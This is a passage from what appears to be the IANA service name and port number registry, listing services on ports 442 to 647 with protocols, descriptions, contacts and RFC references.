cvc-hostd 442 udp IANA assigned this [Bill_Davidson] [Bill_Davidson]
well-formed service name as
a replacement for
"cvc_hostd".
This entry is an alias to "cvc-hostd". This entry is now
cvc_hostd 442 udp cvc_hostd [Bill_Davidson] [Bill_Davidson] historic, not usable for use with many common service
discovery mechanisms.
https 443 tcp http protocol over TLS/SSL [IESG] [IETF_Chair] 2018-07-06
https 443 udp http protocol over TLS/SSL [IESG] [IETF_Chair] 2018-07-06
https 443 sctp HTTPS [Randall_Stewart] [Randall_Stewart] [RFC4960]
snpp 444 tcp Simple Network Paging [RFC1568]
Protocol
snpp 444 udp Simple Network Paging [RFC1568]
Protocol
microsoft-ds 445 tcp Microsoft-DS [Pradeep_Bahl] [Pradeep_Bahl]
microsoft-ds 445 udp Microsoft-DS [Pradeep_Bahl] [Pradeep_Bahl]
ddm-rdb 446 tcp DDM-Remote Relational
Database Access
ddm-rdb 446 udp DDM-Remote Relational
Database Access
ddm-dfm 447 tcp DDM-Distributed File [Steven_Ritland] [Steven_Ritland]
Management
ddm-dfm 447 udp DDM-Distributed File [Steven_Ritland] [Steven_Ritland]
Management
ddm-ssl 448 tcp DDM-Remote DB Access Using [Steven_Ritland] [Steven_Ritland]
Secure Sockets
ddm-ssl 448 udp DDM-Remote DB Access Using [Steven_Ritland] [Steven_Ritland]
Secure Sockets
as-servermap 449 tcp AS Server Mapper [Barbara_Foss] [Barbara_Foss]
as-servermap 449 udp AS Server Mapper [Barbara_Foss] [Barbara_Foss]
Computer Supported
tserver 450 tcp Telecomunication [Harvey_S_Schultz] [Harvey_S_Schultz]
Applications
Computer Supported
tserver 450 udp Telecomunication [Harvey_S_Schultz] [Harvey_S_Schultz]
Applications
sfs-smp-net 451 tcp Cray Network Semaphore
server
sfs-smp-net 451 udp Cray Network Semaphore
server
sfs-config 452 tcp Cray SFS config server [Walter_Poxon] [Walter_Poxon]
sfs-config 452 udp Cray SFS config server [Walter_Poxon] [Walter_Poxon]
creativeserver 453 tcp CreativeServer
creativeserver 453 udp CreativeServer
contentserver 454 tcp ContentServer
contentserver 454 udp ContentServer
creativepartnr 455 tcp CreativePartnr [Jesus_Ortiz] [Jesus_Ortiz]
creativepartnr 455 udp CreativePartnr [Jesus_Ortiz] [Jesus_Ortiz]
macon-tcp 456 tcp macon-tcp [Yoshinobu_Inoue] [Yoshinobu_Inoue]
macon-udp 456 udp macon-udp [Yoshinobu_Inoue] [Yoshinobu_Inoue]
scohelp 457 tcp scohelp [Faith_Zack] [Faith_Zack]
scohelp 457 udp scohelp [Faith_Zack] [Faith_Zack]
appleqtc 458 tcp apple quick time [Murali_Ranganathan] [Murali_Ranganathan]
appleqtc 458 udp apple quick time [Murali_Ranganathan] [Murali_Ranganathan]
ampr-rcmd 459 tcp ampr-rcmd [Rob_Janssen] [Rob_Janssen]
ampr-rcmd 459 udp ampr-rcmd [Rob_Janssen] [Rob_Janssen]
skronk 460 tcp skronk [Henry_Strickland] [Henry_Strickland]
skronk 460 udp skronk [Henry_Strickland] [Henry_Strickland]
datasurfsrv 461 tcp DataRampSrv
datasurfsrv 461 udp DataRampSrv
datasurfsrvsec 462 tcp DataRampSrvSec [Diane_Downie] [Diane_Downie]
datasurfsrvsec 462 udp DataRampSrvSec [Diane_Downie] [Diane_Downie]
alpes 463 tcp alpes [Alain_Durand] [Alain_Durand]
alpes 463 udp alpes [Alain_Durand] [Alain_Durand]
kpasswd 464 tcp kpasswd [Theodore_Ts_o] [Theodore_Ts_o]
kpasswd 464 udp kpasswd [Theodore_Ts_o] [Theodore_Ts_o]
urd 465 tcp URL Rendezvous Directory for [Toerless_Eckert] [Toerless_Eckert]
SSM
submissions 465 tcp Message Submission over TLS [IESG] [IETF_Chair] 2017-12-12 [RFC8314]
protocol
igmpv3lite 465 udp IGMP over UDP for SSM [Toerless_Eckert] [Toerless_Eckert]
digital-vrc 466 tcp digital-vrc [Peter_Higginson] [Peter_Higginson]
digital-vrc 466 udp digital-vrc [Peter_Higginson] [Peter_Higginson]
mylex-mapd 467 tcp mylex-mapd [Gary_Lewis] [Gary_Lewis]
mylex-mapd 467 udp mylex-mapd [Gary_Lewis] [Gary_Lewis]
photuris 468 tcp proturis [Bill_Simpson_2] [Bill_Simpson_2]
photuris 468 udp proturis [Bill_Simpson_2] [Bill_Simpson_2]
rcp 469 tcp Radio Control Protocol [Jim_Jennings] [Jim_Jennings]
rcp 469 udp Radio Control Protocol [Jim_Jennings] [Jim_Jennings]
scx-proxy 470 tcp scx-proxy [Scott_Narveson] [Scott_Narveson]
scx-proxy 470 udp scx-proxy [Scott_Narveson] [Scott_Narveson]
mondex 471 tcp Mondex [Bill_Reding] [Bill_Reding]
mondex 471 udp Mondex [Bill_Reding] [Bill_Reding]
ljk-login 472 tcp ljk-login [LJK] [LJK]
ljk-login 472 udp ljk-login [LJK] [LJK]
hybrid-pop 473 tcp hybrid-pop [Rami_Rubin] [Rami_Rubin]
hybrid-pop 473 udp hybrid-pop [Rami_Rubin] [Rami_Rubin]
tn-tl-w1 474 tcp tn-tl-w1
tn-tl-w2 474 udp tn-tl-w2 [Ed_Kress] [Ed_Kress]
tcpnethaspsrv 475 tcp tcpnethaspsrv [Michael_Zunke] [Michael_Zunke] 2010-07-23
tcpnethaspsrv 475 udp tcpnethaspsrv [Michael_Zunke] [Michael_Zunke] 2010-07-23
tn-tl-fd1 476 tcp tn-tl-fd1 [Ed_Kress] [Ed_Kress]
tn-tl-fd1 476 udp tn-tl-fd1 [Ed_Kress] [Ed_Kress]
ss7ns 477 tcp ss7ns [Jean_Michel_URSCH] [Jean_Michel_URSCH]
ss7ns 477 udp ss7ns [Jean_Michel_URSCH] [Jean_Michel_URSCH]
spsc 478 tcp spsc [Mike_Rieker] [Mike_Rieker]
spsc 478 udp spsc [Mike_Rieker] [Mike_Rieker]
iafserver 479 tcp iafserver
iafserver 479 udp iafserver
iafdbase 480 tcp iafdbase [Rick_Yazwinski] [Rick_Yazwinski]
iafdbase 480 udp iafdbase [Rick_Yazwinski] [Rick_Yazwinski]
ph 481 tcp Ph service [Roland_Hedberg] [Roland_Hedberg]
ph 481 udp Ph service [Roland_Hedberg] [Roland_Hedberg]
bgs-nsi 482 tcp bgs-nsi [Jon_Saperia] [Jon_Saperia]
bgs-nsi 482 udp bgs-nsi [Jon_Saperia] [Jon_Saperia]
ulpnet 483 tcp ulpnet [Kevin_Mooney] [Kevin_Mooney]
ulpnet 483 udp ulpnet [Kevin_Mooney] [Kevin_Mooney]
integra-sme 484 tcp Integra Software Management [Randall_Dow] [Randall_Dow]
Environment
integra-sme 484 udp Integra Software Management [Randall_Dow] [Randall_Dow]
Environment
powerburst 485 tcp Air Soft Power Burst [gary] [gary]
powerburst 485 udp Air Soft Power Burst [gary] [gary]
avian 486 tcp avian [Robert_Ullmann_2] [Robert_Ullmann_2]
avian 486 udp avian [Robert_Ullmann_2] [Robert_Ullmann_2]
saft 487 tcp saft Simple Asynchronous [Ulli_Horlacher] [Ulli_Horlacher]
File Transfer
saft 487 udp saft Simple Asynchronous [Ulli_Horlacher] [Ulli_Horlacher]
File Transfer
gss-http 488 tcp gss-http [Doug_Rosenthal] [Doug_Rosenthal]
gss-http 488 udp gss-http [Doug_Rosenthal] [Doug_Rosenthal]
nest-protocol 489 tcp nest-protocol [Gilles_Gameiro] [Gilles_Gameiro]
nest-protocol 489 udp nest-protocol [Gilles_Gameiro] [Gilles_Gameiro]
micom-pfs 490 tcp micom-pfs [David_Misunas] [David_Misunas]
micom-pfs 490 udp micom-pfs [David_Misunas] [David_Misunas]
go-login 491 tcp go-login [Troy_Morrison] [Troy_Morrison]
go-login 491 udp go-login [Troy_Morrison] [Troy_Morrison]
ticf-1 492 tcp Transport Independent
Convergence for FNA
ticf-1 492 udp Transport Independent
Convergence for FNA
ticf-2 493 tcp Transport Independent [Mamoru_Ito] [Mamoru_Ito]
Convergence for FNA
ticf-2 493 udp Transport Independent [Mamoru_Ito] [Mamoru_Ito]
Convergence for FNA
pov-ray 494 tcp POV-Ray [POV_Team_Co_ordinato] [POV_Team_Co_ordinato]
pov-ray 494 udp POV-Ray [POV_Team_Co_ordinato] [POV_Team_Co_ordinato]
intecourier 495 tcp intecourier [Steve_Favor] [Steve_Favor]
intecourier 495 udp intecourier [Steve_Favor] [Steve_Favor]
pim-rp-disc 496 tcp PIM-RP-DISC [Dino_Farinacci] [Dino_Farinacci]
pim-rp-disc 496 udp PIM-RP-DISC [Dino_Farinacci] [Dino_Farinacci]
retrospect 497 tcp Retrospect backup and [Retrospect_Inc] [JG_Heithcock] 2012-02-02
restore service
retrospect 497 udp Retrospect backup and [Retrospect_Inc] [JG_Heithcock] 2012-02-02
restore service
siam 498 tcp siam [Philippe_Gilbert] [Philippe_Gilbert]
siam 498 udp siam [Philippe_Gilbert] [Philippe_Gilbert]
iso-ill 499 tcp ISO ILL Protocol [Mark_H_Needleman] [Mark_H_Needleman]
iso-ill 499 udp ISO ILL Protocol [Mark_H_Needleman] [Mark_H_Needleman]
isakmp 500 tcp isakmp [Mark_Schertler] [Mark_Schertler]
isakmp 500 udp isakmp [Mark_Schertler] [Mark_Schertler]
stmf 501 tcp STMF [Alan_Ungar] [Alan_Ungar]
stmf 501 udp STMF [Alan_Ungar] [Alan_Ungar]
mbap 502 tcp Modbus Application Protocol [modbus.org] [Dennis_Dube] 2014-06-10
mbap 502 udp Modbus Application Protocol [modbus.org] [Dennis_Dube] 2014-06-10
intrinsa 503 tcp Intrinsa [Robert_Ford] [Robert_Ford]
intrinsa 503 udp Intrinsa [Robert_Ford] [Robert_Ford]
citadel 504 tcp citadel [Art_Cancro] [Art_Cancro]
citadel 504 udp citadel [Art_Cancro] [Art_Cancro]
mailbox-lm 505 tcp mailbox-lm [Beverly_Moody] [Beverly_Moody]
mailbox-lm 505 udp mailbox-lm [Beverly_Moody] [Beverly_Moody]
ohimsrv 506 tcp ohimsrv [Scott_Powell] [Scott_Powell]
ohimsrv 506 udp ohimsrv [Scott_Powell] [Scott_Powell]
crs 507 tcp crs [Brad_Wright] [Brad_Wright]
crs 507 udp crs [Brad_Wright] [Brad_Wright]
xvttp 508 tcp xvttp [Keith_J_Alphonso] [Keith_J_Alphonso]
xvttp 508 udp xvttp [Keith_J_Alphonso] [Keith_J_Alphonso]
snare 509 tcp snare [Dennis_Batchelder] [Dennis_Batchelder]
snare 509 udp snare [Dennis_Batchelder] [Dennis_Batchelder]
fcp 510 tcp FirstClass Protocol [Mike_Marshburn] [Mike_Marshburn]
fcp 510 udp FirstClass Protocol [Mike_Marshburn] [Mike_Marshburn]
passgo 511 tcp PassGo [John_Rainford] [John_Rainford]
passgo 511 udp PassGo [John_Rainford] [John_Rainford]
remote process execution;
exec 512 tcp authentication performed
using passwords and UNIX
login names
comsat 512 udp
used by mail system to
notify users of new mail
biff 512 udp received; currently receives
messages only from processes
on the same machine
remote login a la telnet;
automatic authentication
performed based on
login 513 tcp priviledged port numbers and
distributed data bases which
identify "authentication
domains"
maintains data bases showing
who 513 udp who's logged in to machines
on a local net and the load
average of the machine
cmd like exec, but automatic
shell 514 tcp authentication is performed
as for login server
syslog 514 udp
printer 515 tcp spooler
printer 515 udp spooler
videotex 516 tcp videotex [Daniel_Mavrakis] [Daniel_Mavrakis]
videotex 516 udp videotex [Daniel_Mavrakis] [Daniel_Mavrakis]
like tenex link, but across
machine - unfortunately,
doesn't use link protocol
talk 517 tcp (this is actually just a
rendezvous port from which a
tcp connection is
established)
like tenex link, but across
machine - unfortunately,
doesn't use link protocol
talk 517 udp (this is actually just a
rendezvous port from which a
tcp connection is
established)
ntalk 518 tcp
ntalk 518 udp
utime 519 tcp unixtime
utime 519 udp unixtime
efs 520 tcp extended file name server
local routing process (on
router 520 udp site); uses variant of Xerox
NS routing information
protocol - RIP
ripng 521 tcp ripng [Robert_E_Minnear] [Robert_E_Minnear]
ripng 521 udp ripng [Robert_E_Minnear] [Robert_E_Minnear]
ulp 522 tcp ULP [Max_Morris] [Max_Morris]
ulp 522 udp ULP [Max_Morris] [Max_Morris]
ibm-db2 523 tcp IBM-DB2 [Juliana_Hsu] [Juliana_Hsu]
ibm-db2 523 udp IBM-DB2 [Juliana_Hsu] [Juliana_Hsu]
ncp 524 tcp NCP [Don_Provan_2] [Don_Provan_2]
ncp 524 udp NCP [Don_Provan_2] [Don_Provan_2]
timed 525 tcp timeserver
timed 525 udp timeserver
tempo 526 tcp newdate
tempo 526 udp newdate
stx 527 tcp Stock IXChange [Fraxion_Software] [Ferdi_Ladeira] 2012-03-21
stx 527 udp Stock IXChange [Fraxion_Software] [Ferdi_Ladeira] 2012-03-21
custix 528 tcp Customer IXChange [Fraxion_Software] [Ferdi_Ladeira] 2012-03-21
custix 528 udp Customer IXChange [Fraxion_Software] [Ferdi_Ladeira] 2012-03-21
irc-serv 529 tcp IRC-SERV [Brian_Tackett] [Brian_Tackett]
irc-serv 529 udp IRC-SERV [Brian_Tackett] [Brian_Tackett]
courier 530 tcp rpc
courier 530 udp rpc
conference 531 tcp chat
conference 531 udp chat
netnews 532 tcp readnews
netnews 532 udp readnews
netwall 533 tcp for emergency broadcasts [Andreas_Heidemann] [Andreas_Heidemann]
netwall 533 udp for emergency broadcasts [Andreas_Heidemann] [Andreas_Heidemann]
windream 534 tcp windream Admin [Uwe_Honermann] [Uwe_Honermann]
windream 534 udp windream Admin [Uwe_Honermann] [Uwe_Honermann]
iiop 535 tcp iiop [Jeff_M_Michaud] [Jeff_M_Michaud]
iiop 535 udp iiop [Jeff_M_Michaud] [Jeff_M_Michaud]
opalis-rdv 536 tcp opalis-rdv [Laurent_Domenech] [Laurent_Domenech]
opalis-rdv 536 udp opalis-rdv [Laurent_Domenech] [Laurent_Domenech]
nmsp 537 tcp Networked Media Streaming [Paul_Santinelli_Jr] [Paul_Santinelli_Jr]
Protocol
nmsp 537 udp Networked Media Streaming [Paul_Santinelli_Jr] [Paul_Santinelli_Jr]
Protocol
gdomap 538 tcp gdomap [Richard_Frith_Macdon] [Richard_Frith_Macdon]
gdomap 538 udp gdomap [Richard_Frith_Macdon] [Richard_Frith_Macdon]
apertus-ldp 539 tcp Apertus Technologies Load
Determination
apertus-ldp 539 udp Apertus Technologies Load
Determination
uucp 540 tcp uucpd
uucp 540 udp uucpd
uucp-rlogin 541 tcp uucp-rlogin [Stuart_Lynne] [Stuart_Lynne]
uucp-rlogin 541 udp uucp-rlogin [Stuart_Lynne] [Stuart_Lynne]
commerce 542 tcp commerce [Randy_Epstein] [Randy_Epstein]
commerce 542 udp commerce [Randy_Epstein] [Randy_Epstein]
klogin 543 tcp
klogin 543 udp
kshell 544 tcp krcmd
kshell 544 udp krcmd
appleqtcsrvr 545 tcp appleqtcsrvr [Murali_Ranganathan] [Murali_Ranganathan]
appleqtcsrvr 545 udp appleqtcsrvr [Murali_Ranganathan] [Murali_Ranganathan]
dhcpv6-client 546 tcp DHCPv6 Client
dhcpv6-client 546 udp DHCPv6 Client [IESG] [IETF_Chair] 2018-05-21 [RFC8415]
dhcpv6-server 547 tcp DHCPv6 Server [IESG] [IETF_Chair] 2018-05-21 [RFC5460]
dhcpv6-server 547 udp DHCPv6 Server [IESG] [IETF_Chair] 2018-05-21 [RFC8415]
afpovertcp 548 tcp AFP over TCP [Leland_Wallace] [Leland_Wallace] Defined TXT keys: u=<username> p=<password> path=<path>
afpovertcp 548 udp AFP over TCP [Leland_Wallace] [Leland_Wallace] Defined TXT keys: u=<username> p=<password> path=<path>
idfp 549 tcp IDFP [Ramana_Kovi] [Ramana_Kovi]
idfp 549 udp IDFP [Ramana_Kovi] [Ramana_Kovi]
new-rwho 550 tcp new-who [n/a]
new-rwho 550 udp new-who [n/a]
cybercash 551 tcp cybercash [Donald_E_Eastlake] [Donald_E_Eastlake] [RFC1898]
cybercash 551 udp cybercash [Donald_E_Eastlake] [Donald_E_Eastlake] [RFC1898]
devshr-nts 552 tcp DeviceShare [Benjamin_Rosenberg] [Benjamin_Rosenberg]
devshr-nts 552 udp DeviceShare [Benjamin_Rosenberg] [Benjamin_Rosenberg]
pirp 553 tcp pirp [D_J_Bernstein] [D_J_Bernstein]
pirp 553 udp pirp [D_J_Bernstein] [D_J_Bernstein]
rtsp 554 tcp Real Time Streaming Protocol [Rob_Lanphier] [Rob_Lanphier]
(RTSP)
rtsp 554 udp Real Time Streaming Protocol [Rob_Lanphier] [Rob_Lanphier]
(RTSP)
dsf 555 tcp
dsf 555 udp
remotefs 556 tcp rfs server
remotefs 556 udp rfs server
openvms-sysipc 557 tcp openvms-sysipc [Alan_Potter] [Alan_Potter]
openvms-sysipc 557 udp openvms-sysipc [Alan_Potter] [Alan_Potter]
sdnskmp 558 tcp SDNSKMP
sdnskmp 558 udp SDNSKMP
teedtap 559 tcp TEEDTAP [Charlie_Limoges] [Charlie_Limoges]
teedtap 559 udp TEEDTAP [Charlie_Limoges] [Charlie_Limoges]
rmonitor 560 tcp rmonitord
rmonitor 560 udp rmonitord
monitor 561 tcp
monitor 561 udp
chshell 562 tcp chcmd
chshell 562 udp chcmd
nntps 563 tcp nntp protocol over TLS/SSL [IESG] [IETF_Chair] 2018-07-06 [RFC4642]
(was snntp)
nntps 563 udp nntp protocol over TLS/SSL [IESG] [IETF_Chair] 2018-07-06 [RFC4642]
(was snntp)
9pfs 564 tcp plan 9 file service
9pfs 564 udp plan 9 file service
whoami 565 tcp whoami
whoami 565 udp whoami
streettalk 566 tcp streettalk
streettalk 566 udp streettalk
banyan-rpc 567 tcp banyan-rpc [Tom_Lemaire] [Tom_Lemaire]
banyan-rpc 567 udp banyan-rpc [Tom_Lemaire] [Tom_Lemaire]
ms-shuttle 568 tcp microsoft shuttle [Rudolph_Balaz] [Rudolph_Balaz]
ms-shuttle 568 udp microsoft shuttle [Rudolph_Balaz] [Rudolph_Balaz]
ms-rome 569 tcp microsoft rome [Rudolph_Balaz] [Rudolph_Balaz]
ms-rome 569 udp microsoft rome [Rudolph_Balaz] [Rudolph_Balaz]
meter 570 tcp demon
meter 570 udp demon
meter 571 tcp udemon
meter 571 udp udemon
sonar 572 tcp sonar [Keith_Moore] [Keith_Moore]
sonar 572 udp sonar [Keith_Moore] [Keith_Moore]
banyan-vip 573 tcp banyan-vip [Denis_Leclerc] [Denis_Leclerc]
banyan-vip 573 udp banyan-vip [Denis_Leclerc] [Denis_Leclerc]
ftp-agent 574 tcp FTP Software Agent System [Michael_S_Greenberg] [Michael_S_Greenberg]
ftp-agent 574 udp FTP Software Agent System [Michael_S_Greenberg] [Michael_S_Greenberg]
vemmi 575 tcp VEMMI [Daniel_Mavrakis_2] [Daniel_Mavrakis_2]
vemmi 575 udp VEMMI [Daniel_Mavrakis_2] [Daniel_Mavrakis_2]
ipcd 576 tcp ipcd
ipcd 576 udp ipcd
vnas 577 tcp vnas
vnas 577 udp vnas
ipdd 578 tcp ipdd [Jay_Farhat] [Jay_Farhat]
ipdd 578 udp ipdd [Jay_Farhat] [Jay_Farhat]
decbsrv 579 tcp decbsrv [Rudi_Martin] [Rudi_Martin]
decbsrv 579 udp decbsrv [Rudi_Martin] [Rudi_Martin]
sntp-heartbeat 580 tcp SNTP HEARTBEAT [Louis_Mamakos_2] [Louis_Mamakos_2]
sntp-heartbeat 580 udp SNTP HEARTBEAT [Louis_Mamakos_2] [Louis_Mamakos_2]
bdp 581 tcp Bundle Discovery Protocol [Gary_Malkin] [Gary_Malkin]
bdp 581 udp Bundle Discovery Protocol [Gary_Malkin] [Gary_Malkin]
scc-security 582 tcp SCC Security [Prashant_Dholakia] [Prashant_Dholakia]
scc-security 582 udp SCC Security [Prashant_Dholakia] [Prashant_Dholakia]
philips-vc 583 tcp Philips Video-Conferencing [Janna_Chang] [Janna_Chang]
philips-vc 583 udp Philips Video-Conferencing [Janna_Chang] [Janna_Chang]
keyserver 584 tcp Key Server [Gary_Howland] [Gary_Howland]
keyserver 584 udp Key Server [Gary_Howland] [Gary_Howland]
585 De-registered 2006-04-25 Use of 585 is not recommended, use 993 instead
password-chg 586 tcp Password Change
password-chg 586 udp Password Change
submission 587 tcp Message Submission 2011-11-17 [RFC6409]
submission 587 udp Message Submission 2011-11-17 [RFC6409]
cal 588 tcp CAL [Myron_Hattig] [Myron_Hattig]
cal 588 udp CAL [Myron_Hattig] [Myron_Hattig]
eyelink 589 tcp EyeLink [Dave_Stampe] [Dave_Stampe]
eyelink 589 udp EyeLink [Dave_Stampe] [Dave_Stampe]
tns-cml 590 tcp TNS CML [Jerome_Albin] [Jerome_Albin]
tns-cml 590 udp TNS CML [Jerome_Albin] [Jerome_Albin]
http-alt 591 tcp FileMaker, Inc. - HTTP [Clay_Maeckel] [Clay_Maeckel]
Alternate (see Port 80)
http-alt 591 udp FileMaker, Inc. - HTTP [Clay_Maeckel] [Clay_Maeckel]
Alternate (see Port 80)
eudora-set 592 tcp Eudora Set [Randall_Gellens] [Randall_Gellens]
eudora-set 592 udp Eudora Set [Randall_Gellens] [Randall_Gellens]
http-rpc-epmap 593 tcp HTTP RPC Ep Map [Edward_Reus] [Edward_Reus]
http-rpc-epmap 593 udp HTTP RPC Ep Map [Edward_Reus] [Edward_Reus]
tpip 594 tcp TPIP [Brad_Spear] [Brad_Spear]
tpip 594 udp TPIP [Brad_Spear] [Brad_Spear]
cab-protocol 595 tcp CAB Protocol [Winston_Hetherington] [Winston_Hetherington]
cab-protocol 595 udp CAB Protocol [Winston_Hetherington] [Winston_Hetherington]
smsd 596 tcp SMSD [Wayne_Barlow] [Wayne_Barlow]
smsd 596 udp SMSD [Wayne_Barlow] [Wayne_Barlow]
ptcnameservice 597 tcp PTC Name Service [Yuri_Machkasov] [Yuri_Machkasov]
ptcnameservice 597 udp PTC Name Service [Yuri_Machkasov] [Yuri_Machkasov]
sco-websrvrmg3 598 tcp SCO Web Server Manager 3 [Simon_Baldwin] [Simon_Baldwin]
sco-websrvrmg3 598 udp SCO Web Server Manager 3 [Simon_Baldwin] [Simon_Baldwin]
acp 599 tcp Aeolon Core Protocol [Michael_Alyn_Miller] [Michael_Alyn_Miller]
acp 599 udp Aeolon Core Protocol [Michael_Alyn_Miller] [Michael_Alyn_Miller]
ipcserver 600 tcp Sun IPC server [Bill_Schiefelbein] [Bill_Schiefelbein]
ipcserver 600 udp Sun IPC server [Bill_Schiefelbein] [Bill_Schiefelbein]
syslog-conn 601 tcp Reliable Syslog Service [RFC3195]
syslog-conn 601 udp Reliable Syslog Service [RFC3195]
xmlrpc-beep 602 tcp XML-RPC over BEEP [RFC3529]
xmlrpc-beep 602 udp XML-RPC over BEEP [RFC3529]
idxp 603 tcp IDXP [RFC4767]
idxp 603 udp IDXP [RFC4767]
tunnel 604 tcp TUNNEL [RFC3620]
tunnel 604 udp TUNNEL [RFC3620]
soap-beep 605 tcp SOAP over BEEP [RFC4227]
soap-beep 605 udp SOAP over BEEP [RFC4227]
urm 606 tcp Cray Unified Resource
Manager
urm 606 udp Cray Unified Resource
Manager
nqs 607 tcp nqs [Bill_Schiefelbein] [Bill_Schiefelbein]
nqs 607 udp nqs [Bill_Schiefelbein] [Bill_Schiefelbein]
sift-uft 608 tcp Sender-Initiated/Unsolicited [Rick_Troth] [Rick_Troth]
File Transfer
sift-uft 608 udp Sender-Initiated/Unsolicited [Rick_Troth] [Rick_Troth]
File Transfer
npmp-trap 609 tcp npmp-trap
npmp-trap 609 udp npmp-trap
npmp-local 610 tcp npmp-local
npmp-local 610 udp npmp-local
npmp-gui 611 tcp npmp-gui [John_Barnes] [John_Barnes]
npmp-gui 611 udp npmp-gui [John_Barnes] [John_Barnes]
hmmp-ind 612 tcp HMMP Indication
hmmp-ind 612 udp HMMP Indication
hmmp-op 613 tcp HMMP Operation [Andrew_Sinclair] [Andrew_Sinclair]
hmmp-op 613 udp HMMP Operation [Andrew_Sinclair] [Andrew_Sinclair]
sshell 614 tcp SSLshell [Simon_J_Gerraty] [Simon_J_Gerraty]
sshell 614 udp SSLshell [Simon_J_Gerraty] [Simon_J_Gerraty]
sco-inetmgr 615 tcp Internet Configuration
Manager
sco-inetmgr 615 udp Internet Configuration
Manager
sco-sysmgr 616 tcp SCO System Administration
Server
sco-sysmgr 616 udp SCO System Administration
Server
sco-dtmgr 617 tcp SCO Desktop Administration [Christopher_Durham] [Christopher_Durham]
Server
sco-dtmgr 617 udp SCO Desktop Administration [Christopher_Durham] [Christopher_Durham]
Server
dei-icda 618 tcp DEI-ICDA [David_Turner] [David_Turner]
dei-icda 618 udp DEI-ICDA [David_Turner] [David_Turner]
compaq-evm 619 tcp Compaq EVM [Jem_Treadwell] [Jem_Treadwell]
compaq-evm 619 udp Compaq EVM [Jem_Treadwell] [Jem_Treadwell]
sco-websrvrmgr 620 tcp SCO WebServer Manager [Christopher_Durham] [Christopher_Durham]
sco-websrvrmgr 620 udp SCO WebServer Manager [Christopher_Durham] [Christopher_Durham]
escp-ip 621 tcp ESCP [Lai_Zit_Seng] [Lai_Zit_Seng]
escp-ip 621 udp ESCP [Lai_Zit_Seng] [Lai_Zit_Seng]
collaborator 622 tcp Collaborator [Johnson_Davis] [Johnson_Davis]
collaborator 622 udp Collaborator [Johnson_Davis] [Johnson_Davis]
oob-ws-http 623 tcp DMTF out-of-band web [Jim_Davis] [Jim_Davis] 2007-06
services management protocol
asf-rmcp 623 udp ASF Remote Management and [Carl_First] [Carl_First]
Control Protocol
cryptoadmin 624 tcp Crypto Admin [Tony_Walker] [Tony_Walker]
cryptoadmin 624 udp Crypto Admin [Tony_Walker] [Tony_Walker]
DEC DLM
dec-dlm 625 tcp IANA assigned this [Rudi_Martin_2] [Rudi_Martin_2]
well-formed service name as
a replacement for "dec_dlm".
This entry is an alias to "dec-dlm". This entry is now
dec_dlm 625 tcp DEC DLM [Rudi_Martin_2] [Rudi_Martin_2] historic, not usable for use with many common service
discovery mechanisms.
DEC DLM
dec-dlm 625 udp IANA assigned this [Rudi_Martin_2] [Rudi_Martin_2]
well-formed service name as
a replacement for "dec_dlm".
This entry is an alias to "dec-dlm". This entry is now
dec_dlm 625 udp DEC DLM [Rudi_Martin_2] [Rudi_Martin_2] historic, not usable for use with many common service
discovery mechanisms.
asia 626 tcp ASIA [Michael_Dasenbrock] [Michael_Dasenbrock]
asia 626 udp ASIA [Michael_Dasenbrock] [Michael_Dasenbrock]
passgo-tivoli 627 tcp PassGo Tivoli [John_Rainford_2] [John_Rainford_2]
passgo-tivoli 627 udp PassGo Tivoli [John_Rainford_2] [John_Rainford_2]
qmqp 628 tcp QMQP [D_J_Bernstein] [D_J_Bernstein] 2018-04-05
qmqp 628 udp QMQP [D_J_Bernstein] [D_J_Bernstein] 2018-04-05
3com-amp3 629 tcp 3Com AMP3 [Prakash_Banthia] [Prakash_Banthia]
3com-amp3 629 udp 3Com AMP3 [Prakash_Banthia] [Prakash_Banthia]
rda 630 tcp RDA [John_Hadjioannou] [John_Hadjioannou]
rda 630 udp RDA [John_Hadjioannou] [John_Hadjioannou]
ipp 631 tcp IPP (Internet Printing [IESG] [IETF_Chair] 2018-07-06 [RFC8011] Defined TXT keys: See BonjourPrinting.pdf.
Protocol)
ipp 631 udp IPP (Internet Printing [IESG] [IETF_Chair] 2018-07-06 [RFC8011] Defined TXT keys: See BonjourPrinting.pdf.
Protocol)
ipps 631 tcp Internet Printing Protocol [IESG] [IETF_Chair] 2018-07-06 [RFC8011]
over HTTPS
bmpp 632 tcp bmpp [Troy_Rollo] [Troy_Rollo]
bmpp 632 udp bmpp [Troy_Rollo] [Troy_Rollo]
servstat 633 tcp Service Status update [Greg_Rose] [Greg_Rose]
(Sterling Software)
servstat 633 udp Service Status update [Greg_Rose] [Greg_Rose]
(Sterling Software)
ginad 634 tcp ginad [Mark_Crother] [Mark_Crother]
ginad 634 udp ginad [Mark_Crother] [Mark_Crother]
rlzdbase 635 tcp RLZ DBase [Michael_Ginn] [Michael_Ginn]
rlzdbase 635 udp RLZ DBase [Michael_Ginn] [Michael_Ginn]
ldaps 636 tcp ldap protocol over TLS/SSL [Pat_Richard] [Pat_Richard]
(was sldap)
ldaps 636 udp ldap protocol over TLS/SSL [Pat_Richard] [Pat_Richard]
(was sldap)
lanserver 637 tcp lanserver [Chris_Larsson] [Chris_Larsson]
lanserver 637 udp lanserver [Chris_Larsson] [Chris_Larsson]
mcns-sec 638 tcp mcns-sec [Kaz_Ozawa] [Kaz_Ozawa]
mcns-sec 638 udp mcns-sec [Kaz_Ozawa] [Kaz_Ozawa]
msdp 639 tcp MSDP [Dino_Farinacci] [Dino_Farinacci]
msdp 639 udp MSDP [Dino_Farinacci] [Dino_Farinacci]
entrust-sps 640 tcp entrust-sps [Marek_Buchler] [Marek_Buchler]
entrust-sps 640 udp entrust-sps [Marek_Buchler] [Marek_Buchler]
repcmd 641 tcp repcmd [Scott_Dale] [Scott_Dale]
repcmd 641 udp repcmd [Scott_Dale] [Scott_Dale]
esro-emsdp 642 tcp ESRO-EMSDP V1.3 [Mohsen_Banan_2] [Mohsen_Banan_2]
esro-emsdp 642 udp ESRO-EMSDP V1.3 [Mohsen_Banan_2] [Mohsen_Banan_2]
sanity 643 tcp SANity [Peter_Viscarola] [Peter_Viscarola]
sanity 643 udp SANity [Peter_Viscarola] [Peter_Viscarola]
dwr 644 tcp dwr [Bill_Fenner] [Bill_Fenner]
dwr 644 udp dwr [Bill_Fenner] [Bill_Fenner]
pssc 645 tcp PSSC [Egon_Meier_Engelen] [Egon_Meier_Engelen]
pssc 645 udp PSSC [Egon_Meier_Engelen] [Egon_Meier_Engelen]
ldp 646 tcp LDP [Bob_Thomas] [Bob_Thomas]
ldp 646 udp LDP [Bob_Thomas] [Bob_Thomas]
dhcp-failover 647 tcp DHCP Failover [IESG] [IETF_Chair] 2018-05-21 [RFC8156]
